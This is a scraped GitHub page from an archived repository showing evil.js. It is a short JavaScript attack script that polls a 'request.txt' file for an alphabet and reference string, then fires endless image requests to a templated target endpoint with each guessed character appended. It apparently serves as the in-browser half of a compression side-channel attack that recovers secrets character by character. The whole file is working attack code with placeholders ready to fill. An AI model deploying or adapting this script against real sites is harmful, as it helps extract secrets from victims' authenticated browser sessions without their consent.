This repository has been archived by the owner on May 6, 2019. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathevil.js
43 lines (41 loc) · 1.5 KB
/
evil.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function compare_arrays(array_1 = [], array_2 = []) {
if (array_1.length != array_2.length)
return false;
for (var i=0; i<array_1.length; i++)
if (array_1[i] != array_2[i])
return false;
return true;
}
function makeRequest(iterator = 0, total = 0, alphabet = [], ref = "", timeout = %%%request_timeout%%%) {
jQuery.get("request.txt").done(function(data) {
var input = data.split('\n');
if (input.length < 2) {
setTimeout(function() {
makeRequest(0, total, alphabet, ref)
}, %%%error_request_timeout%%%);
return;
}
var new_ref = input[0];
var new_alphabet = input[1].split(',');
if (!compare_arrays(alphabet, new_alphabet) || ref != new_ref) {
setTimeout(function() {
makeRequest(0, total, new_alphabet, new_ref);
}, %%%error_request_timeout%%%);
return;
}
var search = alphabet[iterator];
var request = "%%%endpoint_url%%%" + search;
var img = new Image();
img.src = request;
iterator = iterator >= alphabet.length - 1 ? 0 : ++iterator;
console.log("making request %d: %s", total++, request);
setTimeout(function() {
makeRequest(iterator, total, alphabet, ref);
}, timeout);
}).fail(function() {
setTimeout(makeRequest(), %%%error_request_timeout%%%);
return
});
return;
}
makeRequest();